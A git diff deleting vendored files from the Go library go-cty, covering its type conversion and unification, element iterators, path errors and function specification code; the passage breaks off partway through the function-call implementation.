a/vendor/github.com/zclconf/go-cty/cty/convert/public.go b/vendor/github.com/zclconf/go-cty/cty/convert/public.go deleted file mode 100644 index af19bdc501..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/public.go +++ /dev/null @@ -1,83 +0,0 @@ -package convert - -import ( - "errors" - - "github.com/zclconf/go-cty/cty" -) - -// This file contains the public interface of this package, which is intended -// to be a small, convenient interface designed for easy integration into -// a hypothetical language type checker and interpreter. - -// Conversion is a named function type representing a conversion from a -// value of one type to a value of another type. -// -// The source type for a conversion is always the source type given to -// the function that returned the Conversion, but there is no way to recover -// that from a Conversion value itself. If a Conversion is given a value -// that is not of its expected type (with the exception of DynamicPseudoType, -// which is always supported) then the function may panic or produce undefined -// results. -type Conversion func(in cty.Value) (out cty.Value, err error) - -// GetConversion returns a Conversion between the given in and out Types if -// a safe one is available, or returns nil otherwise. -func GetConversion(in cty.Type, out cty.Type) Conversion { - return retConversion(getConversion(in, out, false)) -} - -// GetConversionUnsafe returns a Conversion between the given in and out Types -// if either a safe or unsafe one is available, or returns nil otherwise. -func GetConversionUnsafe(in cty.Type, out cty.Type) Conversion { - return retConversion(getConversion(in, out, true)) -} - -// Convert returns the result of converting the given value to the given type -// if an safe or unsafe conversion is available, or returns an error if such a -// conversion is impossible. -// -// This is a convenience wrapper around calling GetConversionUnsafe and then -// immediately passing the given value to the resulting function. -func Convert(in cty.Value, want cty.Type) (cty.Value, error) { - if in.Type().Equals(want) { - return in, nil - } - - conv := GetConversionUnsafe(in.Type(), want) - if conv == nil { - return cty.NilVal, errors.New(MismatchMessage(in.Type(), want)) - } - return conv(in) -} - -// Unify attempts to find the most general type that can be converted from -// all of the given types. If this is possible, that type is returned along -// with a slice of necessary conversions for some of the given types. -// -// If no common supertype can be found, this function returns cty.NilType and -// a nil slice. -// -// If a common supertype *can* be found, the returned slice will always be -// non-nil and will contain a non-nil conversion for each given type that -// needs to be converted, with indices corresponding to the input slice. -// Any given type that does *not* need conversion (because it is already of -// the appropriate type) will have a nil Conversion. -// -// cty.DynamicPseudoType is, as usual, a special case. If the given type list -// contains a mixture of dynamic and non-dynamic types, the dynamic types are -// disregarded for type selection and a conversion is returned for them that -// will attempt a late conversion of the given value to the target type, -// failing with a conversion error if the eventual concrete type is not -// compatible. If *all* given types are DynamicPseudoType, or in the -// degenerate case of an empty slice of types, the returned type is itself -// cty.DynamicPseudoType and no conversions are attempted. -func Unify(types []cty.Type) (cty.Type, []Conversion) { - return unify(types, false) -} - -// UnifyUnsafe is the same as Unify except that it may return unsafe -// conversions in situations where a safe conversion isn't also available. -func UnifyUnsafe(types []cty.Type) (cty.Type, []Conversion) { - return unify(types, true) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/sort_types.go b/vendor/github.com/zclconf/go-cty/cty/convert/sort_types.go deleted file mode 100644 index b7769106d1..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/sort_types.go +++ /dev/null @@ -1,69 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -// sortTypes produces an ordering of the given types that serves as a -// preference order for the result of unification of the given types. -// The return value is a slice of indices into the given slice, and will -// thus always be the same length as the given slice. -// -// The goal is that the most general of the given types will appear first -// in the ordering. If there are uncomparable pairs of types in the list -// then they will appear in an undefined order, and the unification pass -// will presumably then fail. -func sortTypes(tys []cty.Type) []int { - l := len(tys) - - // First we build a graph whose edges represent "more general than", - // which we will then do a topological sort of. - edges := make([][]int, l) - for i := 0; i < (l - 1); i++ { - for j := i + 1; j < l; j++ { - cmp := compareTypes(tys[i], tys[j]) - switch { - case cmp < 0: - edges[i] = append(edges[i], j) - case cmp > 0: - edges[j] = append(edges[j], i) - } - } - } - - // Compute the in-degree of each node - inDegree := make([]int, l) - for _, outs := range edges { - for _, j := range outs { - inDegree[j]++ - } - } - - // The array backing our result will double as our queue for visiting - // the nodes, with the queue slice moving along this array until it - // is empty and positioned at the end of the array. Thus our visiting - // order is also our result order. - result := make([]int, l) - queue := result[0:0] - - // Initialize the queue with any item of in-degree 0, preserving - // their relative order. - for i, n := range inDegree { - if n == 0 { - queue = append(queue, i) - } - } - - for len(queue) != 0 { - i := queue[0] - queue = queue[1:] - for _, j := range edges[i] { - inDegree[j]-- - if inDegree[j] == 0 { - queue = append(queue, j) - } - } - } - - return result -} diff --git a/vendor/github.com/zclconf/go-cty/cty/convert/unify.go b/vendor/github.com/zclconf/go-cty/cty/convert/unify.go deleted file mode 100644 index ee171d1ed4..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/convert/unify.go +++ /dev/null @@ -1,357 +0,0 @@ -package convert - -import ( - "github.com/zclconf/go-cty/cty" -) - -// The current unify implementation is somewhat inefficient, but we accept this -// under the assumption that it will generally be used with small numbers of -// types and with types of reasonable complexity. However, it does have a -// "happy path" where all of the given types are equal. -// -// This function is likely to have poor performance in cases where any given -// types are very complex (lots of deeply-nested structures) or if the list -// of types itself is very large. In particular, it will walk the nested type -// structure under the given types several times, especially when given a -// list of types for which unification is not possible, since each permutation -// will be tried to determine that result. -func unify(types []cty.Type, unsafe bool) (cty.Type, []Conversion) { - if len(types) == 0 { - // Degenerate case - return cty.NilType, nil - } - - // If all of the given types are of the same structural kind, we may be - // able to construct a new type that they can all be unified to, even if - // that is not one of the given types. We must try this before the general - // behavior below because in unsafe mode we can convert an object type to - // a subset of that type, which would be a much less useful conversion for - // unification purposes. - { - mapCt := 0 - objectCt := 0 - tupleCt := 0 - dynamicCt := 0 - for _, ty := range types { - switch { - case ty.IsMapType(): - mapCt++ - case ty.IsObjectType(): - objectCt++ - case ty.IsTupleType(): - tupleCt++ - case ty == cty.DynamicPseudoType: - dynamicCt++ - default: - break - } - } - switch { - case mapCt > 0 && (mapCt+dynamicCt) == len(types): - return unifyMapTypes(types, unsafe, dynamicCt > 0) - case objectCt > 0 && (objectCt+dynamicCt) == len(types): - return unifyObjectTypes(types, unsafe, dynamicCt > 0) - case tupleCt > 0 && (tupleCt+dynamicCt) == len(types): - return unifyTupleTypes(types, unsafe, dynamicCt > 0) - case objectCt > 0 && tupleCt > 0: - // Can never unify object and tuple types since they have incompatible kinds - return cty.NilType, nil - } - } - - prefOrder := sortTypes(types) - - // sortTypes gives us an order where earlier items are preferable as - // our result type. We'll now walk through these and choose the first - // one we encounter for which conversions exist for all source types. - conversions := make([]Conversion, len(types)) -Preferences: - for _, wantTypeIdx := range prefOrder { - wantType := types[wantTypeIdx] - for i, tryType := range types { - if i == wantTypeIdx { - // Don't need to convert our wanted type to itself - conversions[i] = nil - continue - } - - if tryType.Equals(wantType) { - conversions[i] = nil - continue - } - - if unsafe { - conversions[i] = GetConversionUnsafe(tryType, wantType) - } else { - conversions[i] = GetConversion(tryType, wantType) - } - - if conversions[i] == nil { - // wantType is not a suitable unification type, so we'll - // try the next one in our preference order. - continue Preferences - } - } - - return wantType, conversions - } - - // If we fall out here, no unification is possible - return cty.NilType, nil -} - -func unifyMapTypes(types []cty.Type, unsafe bool, hasDynamic bool) (cty.Type, []Conversion) { - // If we had any dynamic types in the input here then we can't predict - // what path we'll take through here once these become known types, so - // we'll conservatively produce DynamicVal for these. - if hasDynamic { - return unifyAllAsDynamic(types) - } - - elemTypes := make([]cty.Type, 0, len(types)) - for _, ty := range types { - elemTypes = append(elemTypes, ty.ElementType()) - } - retElemType, _ := unify(elemTypes, unsafe) - if retElemType == cty.NilType { - return cty.NilType, nil - } - - retTy := cty.Map(retElemType) - - conversions := make([]Conversion, len(types)) - for i, ty := range types { - if ty.Equals(retTy) { - continue - } - if unsafe { - conversions[i] = GetConversionUnsafe(ty, retTy) - } else { - conversions[i] = GetConversion(ty, retTy) - } - if conversions[i] == nil { - // Shouldn't be reachable, since we were able to unify - return cty.NilType, nil - } - } - - return retTy, conversions -} - -func unifyObjectTypes(types []cty.Type, unsafe bool, hasDynamic bool) (cty.Type, []Conversion) { - // If we had any dynamic types in the input here then we can't predict - // what path we'll take through here once these become known types, so - // we'll conservatively produce DynamicVal for these. - if hasDynamic { - return unifyAllAsDynamic(types) - } - - // There are two different ways we can succeed here: - // - If all of the given object types have the same set of attribute names - // and the corresponding types are all unifyable, then we construct that - // type. - // - If the given object types have different attribute names or their - // corresponding types are not unifyable, we'll instead try to unify - // all of the attribute types together to produce a map type. - // - // Our unification behavior is intentionally stricter than our conversion - // behavior for subset object types because user intent is different with - // unification use-cases: it makes sense to allow {"foo":true} to convert - // to emptyobjectval, but unifying an object with an attribute with the - // empty object type should be an error because unifying to the empty - // object type would be suprising and useless. - - firstAttrs := types[0].AttributeTypes() - for _, ty := range types[1:] { - thisAttrs := ty.AttributeTypes() - if len(thisAttrs) != len(firstAttrs) { - // If number of attributes is different then there can be no - // object type in common. - return unifyObjectTypesToMap(types, unsafe) - } - for name := range thisAttrs { - if _, ok := firstAttrs[name]; !ok { - // If attribute names don't exactly match then there can be - // no object type in common. - return unifyObjectTypesToMap(types, unsafe) - } - } - } - - // If we get here then we've proven that all of the given object types - // have exactly the same set of attribute names, though the types may - // differ. - retAtys := make(map[string]cty.Type) - atysAcross := make([]cty.Type, len(types)) - for name := range firstAttrs { - for i, ty := range types { - atysAcross[i] = ty.AttributeType(name) - } - retAtys[name], _ = unify(atysAcross, unsafe) - if retAtys[name] == cty.NilType { - // Cannot unify this attribute alone, which means that unification - // of everything down to a map type can't be possible either. - return cty.NilType, nil - } - } - retTy := cty.Object(retAtys) - - conversions := make([]Conversion, len(types)) - for i, ty := range types { - if ty.Equals(retTy) { - continue - } - if unsafe { - conversions[i] = GetConversionUnsafe(ty, retTy) - } else { - conversions[i] = GetConversion(ty, retTy) - } - if conversions[i] == nil { - // Shouldn't be reachable, since we were able to unify - return unifyObjectTypesToMap(types, unsafe) - } - } - - return retTy, conversions -} - -func unifyObjectTypesToMap(types []cty.Type, unsafe bool) (cty.Type, []Conversion) { - // This is our fallback case for unifyObjectTypes, where we see if we can - // construct a map type that can accept all of the attribute types. - - var atys []cty.Type - for _, ty := range types { - for _, aty := range ty.AttributeTypes() { - atys = append(atys, aty) - } - } - - ety, _ := unify(atys, unsafe) - if ety == cty.NilType { - return cty.NilType, nil - } - - retTy := cty.Map(ety) - conversions := make([]Conversion, len(types)) - for i, ty := range types { - if ty.Equals(retTy) { - continue - } - if unsafe { - conversions[i] = GetConversionUnsafe(ty, retTy) - } else { - conversions[i] = GetConversion(ty, retTy) - } - if conversions[i] == nil { - return cty.NilType, nil - } - } - return retTy, conversions -} - -func unifyTupleTypes(types []cty.Type, unsafe bool, hasDynamic bool) (cty.Type, []Conversion) { - // If we had any dynamic types in the input here then we can't predict - // what path we'll take through here once these become known types, so - // we'll conservatively produce DynamicVal for these. - if hasDynamic { - return unifyAllAsDynamic(types) - } - - // There are two different ways we can succeed here: - // - If all of the given tuple types have the same sequence of element types - // and the corresponding types are all unifyable, then we construct that - // type. - // - If the given tuple types have different element types or their - // corresponding types are not unifyable, we'll instead try to unify - // all of the elements types together to produce a list type. - - firstEtys := types[0].TupleElementTypes() - for _, ty := range types[1:] { - thisEtys := ty.TupleElementTypes() - if len(thisEtys) != len(firstEtys) { - // If number of elements is different then there can be no - // tuple type in common. - return unifyTupleTypesToList(types, unsafe) - } - } - - // If we get here then we've proven that all of the given tuple types - // have the same number of elements, though the types may differ. - retEtys := make([]cty.Type, len(firstEtys)) - atysAcross := make([]cty.Type, len(types)) - for idx := range firstEtys { - for tyI, ty := range types { - atysAcross[tyI] = ty.TupleElementTypes()[idx] - } - retEtys[idx], _ = unify(atysAcross, unsafe) - if retEtys[idx] == cty.NilType { - // Cannot unify this element alone, which means that unification - // of everything down to a map type can't be possible either. - return cty.NilType, nil - } - } - retTy := cty.Tuple(retEtys) - - conversions := make([]Conversion, len(types)) - for i, ty := range types { - if ty.Equals(retTy) { - continue - } - if unsafe { - conversions[i] = GetConversionUnsafe(ty, retTy) - } else { - conversions[i] = GetConversion(ty, retTy) - } - if conversions[i] == nil { - // Shouldn't be reachable, since we were able to unify - return unifyTupleTypesToList(types, unsafe) - } - } - - return retTy, conversions -} - -func unifyTupleTypesToList(types []cty.Type, unsafe bool) (cty.Type, []Conversion) { - // This is our fallback case for unifyTupleTypes, where we see if we can - // construct a list type that can accept all of the element types. - - var etys []cty.Type - for _, ty := range types { - for _, ety := range ty.TupleElementTypes() { - etys = append(etys, ety) - } - } - - ety, _ := unify(etys, unsafe) - if ety == cty.NilType { - return cty.NilType, nil - } - - retTy := cty.List(ety) - conversions := make([]Conversion, len(types)) - for i, ty := range types { - if ty.Equals(retTy) { - continue - } - if unsafe { - conversions[i] = GetConversionUnsafe(ty, retTy) - } else { - conversions[i] = GetConversion(ty, retTy) - } - if conversions[i] == nil { - // Shouldn't be reachable, since we were able to unify - return unifyObjectTypesToMap(types, unsafe) - } - } - return retTy, conversions -} - -func unifyAllAsDynamic(types []cty.Type) (cty.Type, []Conversion) { - conversions := make([]Conversion, len(types)) - for i := range conversions { - conversions[i] = func(cty.Value) (cty.Value, error) { - return cty.DynamicVal, nil - } - } - return cty.DynamicPseudoType, conversions -} diff --git a/vendor/github.com/zclconf/go-cty/cty/doc.go b/vendor/github.com/zclconf/go-cty/cty/doc.go deleted file mode 100644 index d31f0547bf..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/doc.go +++ /dev/null @@ -1,18 +0,0 @@ -// Package cty (pronounced see-tie) provides some infrastructure for a type -// system that might be useful for applications that need to represent -// configuration values provided by the user whose types are not known -// at compile time, particularly if the calling application also allows -// such values to be used in expressions. -// -// The type system consists of primitive types Number, String and Bool, as -// well as List and Map collection types and Object types that can have -// arbitrarily-typed sets of attributes. -// -// A set of operations is defined on these types, which is accessible via -// the wrapper struct Value, which annotates the raw, internal representation -// of a value with its corresponding type. -// -// This package is oriented towards being a building block for configuration -// languages used to bootstrap an application. It is not optimized for use -// in tight loops where CPU time or memory pressure are a concern. -package cty diff --git a/vendor/github.com/zclconf/go-cty/cty/element_iterator.go b/vendor/github.com/zclconf/go-cty/cty/element_iterator.go deleted file mode 100644 index 9e4fff66f5..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/element_iterator.go +++ /dev/null @@ -1,194 +0,0 @@ -package cty - -import ( - "sort" - - "github.com/zclconf/go-cty/cty/set" -) - -// ElementIterator is the interface type returned by Value.ElementIterator to -// allow the caller to iterate over elements of a collection-typed value. -// -// Its usage pattern is as follows: -// -// it := val.ElementIterator() -// for it.Next() { -// key, val := it.Element() -// // ... -// } -type ElementIterator interface { - Next() bool - Element() (key Value, value Value) -} - -func canElementIterator(val Value) bool { - switch { - case val.IsMarked(): - return false - case val.ty.IsListType(): - return true - case val.ty.IsMapType(): - return true - case val.ty.IsSetType(): - return true - case val.ty.IsTupleType(): - return true - case val.ty.IsObjectType(): - return true - default: - return false - } -} - -func elementIterator(val Value) ElementIterator { - val.assertUnmarked() - switch { - case val.ty.IsListType(): - return &listElementIterator{ - ety: val.ty.ElementType(), - vals: val.v.([]interface{}), - idx: -1, - } - case val.ty.IsMapType(): - // We iterate the keys in a predictable lexicographical order so - // that results will always be stable given the same input map. - rawMap := val.v.(map[string]interface{}) - keys := make([]string, 0, len(rawMap)) - for key := range rawMap { - keys = append(keys, key) - } - sort.Strings(keys) - - return &mapElementIterator{ - ety: val.ty.ElementType(), - vals: rawMap, - keys: keys, - idx: -1, - } - case val.ty.IsSetType(): - rawSet := val.v.(set.Set) - return &setElementIterator{ - ety: val.ty.ElementType(), - setIt: rawSet.Iterator(), - } - case val.ty.IsTupleType(): - return &tupleElementIterator{ - etys: val.ty.TupleElementTypes(), - vals: val.v.([]interface{}), - idx: -1, - } - case val.ty.IsObjectType(): - // We iterate the keys in a predictable lexicographical order so - // that results will always be stable given the same object type. - atys := val.ty.AttributeTypes() - keys := make([]string, 0, len(atys)) - for key := range atys { - keys = append(keys, key) - } - sort.Strings(keys) - - return &objectElementIterator{ - atys: atys, - vals: val.v.(map[string]interface{}), - attrNames: keys, - idx: -1, - } - default: - panic("attempt to iterate on non-collection, non-tuple type") - } -} - -type listElementIterator struct { - ety Type - vals []interface{} - idx int -} - -func (it *listElementIterator) Element() (Value, Value) { - i := it.idx - return NumberIntVal(int64(i)), Value{ - ty: it.ety, - v: it.vals[i], - } -} - -func (it *listElementIterator) Next() bool { - it.idx++ - return it.idx < len(it.vals) -} - -type mapElementIterator struct { - ety Type - vals map[string]interface{} - keys []string - idx int -} - -func (it *mapElementIterator) Element() (Value, Value) { - key := it.keys[it.idx] - return StringVal(key), Value{ - ty: it.ety, - v: it.vals[key], - } -} - -func (it *mapElementIterator) Next() bool { - it.idx++ - return it.idx < len(it.keys) -} - -type setElementIterator struct { - ety Type - setIt *set.Iterator -} - -func (it *setElementIterator) Element() (Value, Value) { - val := Value{ - ty: it.ety, - v: it.setIt.Value(), - } - return val, val -} - -func (it *setElementIterator) Next() bool { - return it.setIt.Next() -} - -type tupleElementIterator struct { - etys []Type - vals []interface{} - idx int -} - -func (it *tupleElementIterator) Element() (Value, Value) { - i := it.idx - return NumberIntVal(int64(i)), Value{ - ty: it.etys[i], - v: it.vals[i], - } -} - -func (it *tupleElementIterator) Next() bool { - it.idx++ - return it.idx < len(it.vals) -} - -type objectElementIterator struct { - atys map[string]Type - vals map[string]interface{} - attrNames []string - idx int -} - -func (it *objectElementIterator) Element() (Value, Value) { - key := it.attrNames[it.idx] - return StringVal(key), Value{ - ty: it.atys[key], - v: it.vals[key], - } -} - -func (it *objectElementIterator) Next() bool { - it.idx++ - return it.idx < len(it.attrNames) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/error.go b/vendor/github.com/zclconf/go-cty/cty/error.go deleted file mode 100644 index dd139f7249..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/error.go +++ /dev/null @@ -1,55 +0,0 @@ -package cty - -import ( - "fmt" -) - -// PathError is a specialization of error that represents where in a -// potentially-deep data structure an error occured, using a Path. -type PathError struct { - error - Path Path -} - -func errorf(path Path, f string, args ...interface{}) error { - // We need to copy the Path because often our caller builds it by - // continually mutating the same underlying buffer. - sPath := make(Path, len(path)) - copy(sPath, path) - return PathError{ - error: fmt.Errorf(f, args...), - Path: sPath, - } -} - -// NewErrorf creates a new PathError for the current path by passing the -// given format and arguments to fmt.Errorf and then wrapping the result -// similarly to NewError. -func (p Path) NewErrorf(f string, args ...interface{}) error { - return errorf(p, f, args...) -} - -// NewError creates a new PathError for the current path, wrapping the given -// error. -func (p Path) NewError(err error) error { - // if we're being asked to wrap an existing PathError then our new - // PathError will be the concatenation of the two paths, ensuring - // that we still get a single flat PathError that's thus easier for - // callers to deal with. - perr, wrappingPath := err.(PathError) - pathLen := len(p) - if wrappingPath { - pathLen = pathLen + len(perr.Path) - } - - sPath := make(Path, pathLen) - copy(sPath, p) - if wrappingPath { - copy(sPath[len(p):], perr.Path) - } - - return PathError{ - error: err, - Path: sPath, - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/argument.go b/vendor/github.com/zclconf/go-cty/cty/function/argument.go deleted file mode 100644 index 5a26c275f4..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/argument.go +++ /dev/null @@ -1,70 +0,0 @@ -package function - -import ( - "github.com/zclconf/go-cty/cty" -) - -// Parameter represents a parameter to a function. -type Parameter struct { - // Name is an optional name for the argument. This package ignores this - // value, but callers may use it for documentation, etc. - Name string - - // A type that any argument for this parameter must conform to. - // cty.DynamicPseudoType can be used, either at top-level or nested - // in a parameterized type, to indicate that any type should be - // permitted, to allow the definition of type-generic functions. - Type cty.Type - - // If AllowNull is set then null values may be passed into this - // argument's slot in both the type-check function and the implementation - // function. If not set, such values are rejected by the built-in - // checking rules. - AllowNull bool - - // If AllowUnknown is set then unknown values may be passed into this - // argument's slot in the implementation function. If not set, any - // unknown values will cause the function to immediately return - // an unkonwn value without calling the implementation function, thus - // freeing the function implementer from dealing with this case. - AllowUnknown bool - - // If AllowDynamicType is set then DynamicVal may be passed into this - // argument's slot in the implementation function. If not set, any - // dynamic values will cause the function to immediately return - // DynamicVal value without calling the implementation function, thus - // freeing the function implementer from dealing with this case. - // - // Note that DynamicVal is also unknown, so in order to receive dynamic - // *values* it is also necessary to set AllowUnknown. - // - // However, it is valid to set AllowDynamicType without AllowUnknown, in - // which case a dynamic value may be passed to the type checking function - // but will not make it to the *implementation* function. Instead, an - // unknown value of the type returned by the type-check function will be - // returned. This is suggested for functions that have a static return - // type since it allows the return value to be typed even if the input - // values are not, thus improving the type-check accuracy of derived - // values. - AllowDynamicType bool - - // If AllowMarked is set then marked values may be passed into this - // argument's slot in the implementation function. If not set, any - // marked value will be unmarked before calling and then the markings - // from that value will be applied automatically to the function result, - // ensuring that the marks get propagated in a simplistic way even if - // a function is unable to handle them. - // - // For any argument whose parameter has AllowMarked set, it's the - // function implementation's responsibility to Unmark the given value - // and propagate the marks appropriatedly to the result in order to - // avoid losing the marks. Application-specific functions might use - // special rules to selectively propagate particular marks. - // - // The automatic unmarking of values applies only to the main - // implementation function. In an application that uses marked values, - // the Type implementation for a function must always be prepared to accept - // marked values, which is easy to achieve by consulting only the type - // and ignoring the value itself. - AllowMarked bool -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/doc.go b/vendor/github.com/zclconf/go-cty/cty/function/doc.go deleted file mode 100644 index 393b3110bc..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/doc.go +++ /dev/null @@ -1,6 +0,0 @@ -// Package function builds on the functionality of cty by modeling functions -// that operate on cty Values. -// -// Functions are, at their core, Go anonymous functions. However, this package -// wraps around them utility functions for parameter type checking, etc. -package function diff --git a/vendor/github.com/zclconf/go-cty/cty/function/error.go b/vendor/github.com/zclconf/go-cty/cty/function/error.go deleted file mode 100644 index 2b56779986..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/error.go +++ /dev/null @@ -1,50 +0,0 @@ -package function - -import ( - "fmt" - "runtime/debug" -) - -// ArgError represents an error with one of the arguments in a call. The -// attribute Index represents the zero-based index of the argument in question. -// -// Its error *may* be a cty.PathError, in which case the error actually -// pertains to a nested value within the data structure passed as the argument. -type ArgError struct { - error - Index int -} - -func NewArgErrorf(i int, f string, args ...interface{}) error { - return ArgError{ - error: fmt.Errorf(f, args...), - Index: i, - } -} - -func NewArgError(i int, err error) error { - return ArgError{ - error: err, - Index: i, - } -} - -// PanicError indicates that a panic occurred while executing either a -// function's type or implementation function. This is captured and wrapped -// into a normal error so that callers (expected to be language runtimes) -// are freed from having to deal with panics in buggy functions. -type PanicError struct { - Value interface{} - Stack []byte -} - -func errorForPanic(val interface{}) error { - return PanicError{ - Value: val, - Stack: debug.Stack(), - } -} - -func (e PanicError) Error() string { - return fmt.Sprintf("panic in function implementation: %s\n%s", e.Value, e.Stack) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/function.go b/vendor/github.com/zclconf/go-cty/cty/function/function.go deleted file mode 100644 index efd882725f..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/function.go +++ /dev/null @@ -1,342 +0,0 @@ -package function - -import ( - "fmt" - - "github.com/zclconf/go-cty/cty" -) - -// Function represents a function. This is the main type in this package. -type Function struct { - spec *Spec -} - -// Spec is the specification of a function, used to instantiate -// a new Function. -type Spec struct { - // Params is a description of the positional parameters for the function. - // The standard checking logic rejects any calls that do not provide - // arguments conforming to this definition, freeing the function - // implementer from dealing with such inconsistencies. - Params []Parameter - - // VarParam is an optional specification of additional "varargs" the - // function accepts. If this is non-nil then callers may provide an - // arbitrary number of additional arguments (after those matching with - // the fixed parameters in Params) that conform to the given specification, - // which will appear as additional values in the slices of values - // provided to the type and implementation functions. - VarParam *Parameter - - // Type is the TypeFunc that decides the return type of the function - // given its arguments, which may be Unknown. See the documentation - // of TypeFunc for more information. - // - // Use StaticReturnType if the function's return type does not vary - // depending on its arguments. - Type TypeFunc - - // Impl is the ImplFunc that implements the function's behavior. - // - // Functions are expected to behave as pure functions, and not create - // any visible side-effects. - // - // If a TypeFunc is also provided, the value returned from Impl *must* - // conform to the type it returns, or a call to the function will panic. - Impl ImplFunc -} - -// New creates a new function with the given specification. -// -// After passing a Spec to this function, the caller must no longer read from -// or mutate it. -func New(spec *Spec) Function { - f := Function{ - spec: spec, - } - return f -} - -// TypeFunc is a callback type for determining the return type of a function -// given its arguments. -// -// Any of the values passed to this function may be unknown, even if the -// parameters are not configured to accept unknowns. -// -// If any of the given values are *not* unknown, the TypeFunc may use the -// values for pre-validation and for choosing the return type. For example, -// a hypothetical JSON-unmarshalling function could return -// cty.DynamicPseudoType if the given JSON string is unknown, but return -// a concrete type based on the JSON structure if the JSON string is already -// known. -type TypeFunc func(args []cty.Value) (cty.Type, error) - -// ImplFunc is a callback type for the main implementation of a function. -// -// "args" are the values for the arguments, and this slice will always be at -// least as long as the argument definition slice for the function. -// -// "retType" is the type returned from the Type callback, included as a -// convenience to avoid the need to re-compute the return type for generic -// functions whose return type is a function of the arguments. -type ImplFunc func(args []cty.Value, retType cty.Type) (cty.Value, error) - -// StaticReturnType returns a TypeFunc that always returns the given type. -// -// This is provided as a convenience for defining a function whose return -// type does not depend on the argument types. -func StaticReturnType(ty cty.Type) TypeFunc { - return func([]cty.Value) (cty.Type, error) { - return ty, nil - } -} - -// ReturnType returns the return type of a function given a set of candidate -// argument types, or returns an error if the given types are unacceptable. -// -// If the caller already knows values for at least some of the arguments -// it can be better to call ReturnTypeForValues, since certain functions may -// determine their return types from their values and return DynamicVal if -// the values are unknown. -func (f Function) ReturnType(argTypes []cty.Type) (cty.Type, error) { - vals := make([]cty.Value, len(argTypes)) - for i, ty := range argTypes { - vals[i] = cty.UnknownVal(ty) - } - return f.ReturnTypeForValues(vals) -} - -// ReturnTypeForValues is similar to ReturnType but can be used if the caller -// already knows the values of some or all of the arguments, in which case -// the function may be able to determine a more definite result if its -// return type depends on the argument *values*. -// -// For any arguments whose values are not known, pass an Unknown value of -// the appropriate type. -func (f Function) ReturnTypeForValues(args []cty.Value) (ty cty.Type, err error) { - var posArgs []cty.Value - var varArgs []cty.Value - - if f.spec.VarParam == nil { - if len(args) != len(f.spec.Params) { - return cty.Type{}, fmt.Errorf( - "wrong number of arguments (%d required; %d given)", - len(f.spec.Params), len(args), - ) - } - - posArgs = args - varArgs = nil - } else { - if len(args) < len(f.spec.Params) { - return cty.Type{}, fmt.Errorf( - "wrong number of arguments (at least %d required; %d given)", - len(f.spec.Params), len(args), - ) - } - - posArgs = args[0:len(f.spec.Params)] - varArgs = args[len(f.spec.Params):] - } - - for i, spec := range f.spec.Params { - val := posArgs[i] - - if val.IsMarked() && !spec.AllowMarked { - // During type checking we just unmark values and discard their - // marks, under the assumption that during actual execution of - // the function we'll do similarly and then re-apply the marks - // afterwards. Note that this does mean that a function that - // inspects values (rather than just types) in its Type - // implementation can potentially fail to take into account marks, - // unless it specifically opts in to seeing them. - unmarked, _ := val.Unmark() - newArgs := make([]cty.Value, len(args)) - copy(newArgs, args) - newArgs[i] = unmarked - args = newArgs - } - - if val.IsNull() && !spec.AllowNull { - return cty.Type{}, NewArgErrorf(i, "argument must not be null") - } - - // AllowUnknown is ignored for type-checking, since we expect to be - // able to type check with unknown values. We *do* still need to deal - // with DynamicPseudoType here though, since the Type function might - // not be ready to deal with that. - - if val.Type() == cty.DynamicPseudoType { - if !spec.AllowDynamicType { - return cty.DynamicPseudoType, nil - } - } else if errs := val.Type().TestConformance(spec.Type); errs != nil { - // For now we'll just return the first error in the set, since - // we don't have a good way to return the whole list here. - // Would be good to do something better at some point... - return cty.Type{}, NewArgError(i, errs[0]) - } - } - - if varArgs != nil { - spec := f.spec.VarParam - for i, val := range varArgs { - realI := i + len(posArgs) - - if val.IsMarked() && !spec.AllowMarked { - // See the similar block in the loop above for what's going on here. - unmarked, _ := val.Unmark() - newArgs := make([]cty.Value, len(args)) - copy(newArgs, args) - newArgs[realI] = unmarked - args = newArgs - } - - if val.IsNull() && !spec.AllowNull { - return cty.Type{}, NewArgErrorf(realI, "argument must not be null") - } - - if val.Type() == cty.DynamicPseudoType { - if !spec.AllowDynamicType { - return cty.DynamicPseudoType, nil - } - } else if errs := val.Type().TestConformance(spec.Type); errs != nil { - // For now we'll just return the first error in the set, since - // we don't have a good way to return the whole list here. - // Would be good to do something better at some point... - return cty.Type{}, NewArgError(i, errs[0]) - } - } - } - - // Intercept any panics from the function and return them as normal errors, - // so a calling language runtime doesn't need to deal with panics. - defer func() { - if r := recover(); r != nil { - ty = cty.NilType - err = errorForPanic(r) - } - }() - - return f.spec.Type(args) -} - -// Call actually calls the function with the given arguments, which must -// conform to the function's parameter specification or an error will be -// returned. -func (f Function) Call(args []cty.Value) (val cty.Value, err error) { - expectedType, err := f.ReturnTypeForValues(args) - if err != nil { - return cty.NilVal, err - } - - // Type checking already dealt with most situations relating to our - // parameter specification, but we still need to deal with unknown - // values and marked values. - posArgs := args[:len(f.spec.Params)] - varArgs := args[len(f.spec.Params):] - var resultMarks []cty.ValueMarks - - for i, spec := range f.spec.Params { - val := posArgs[i] - - if !val.IsKnown() && !spec.AllowUnknown { - return cty.UnknownVal(expectedType), nil - } - - if val.IsMarked() && !spec.AllowMarked { - unwrappedVal, marks := val.Unmark() - // In order to avoid additional overhead on applications that - // are not using marked values, we copy the given args only - // if we encounter a marked value we need to unmark. However, - // as a consequence we end up doing redundant copying if multiple - // marked values need to be unwrapped. That seems okay because - // argument lists are generally small. - newArgs := make([]cty.Value, len(args)) - copy(newArgs, args) - newArgs[i] = unwrappedVal - resultMarks = append(resultMarks, marks) - args = newArgs - } - } - - if f.spec.VarParam != nil { - spec := f.spec.VarParam - for i, val := range varArgs { - if !val.IsKnown() && !spec.AllowUnknown { - return cty.UnknownVal(expectedType), nil - } - if val.IsMarked() && 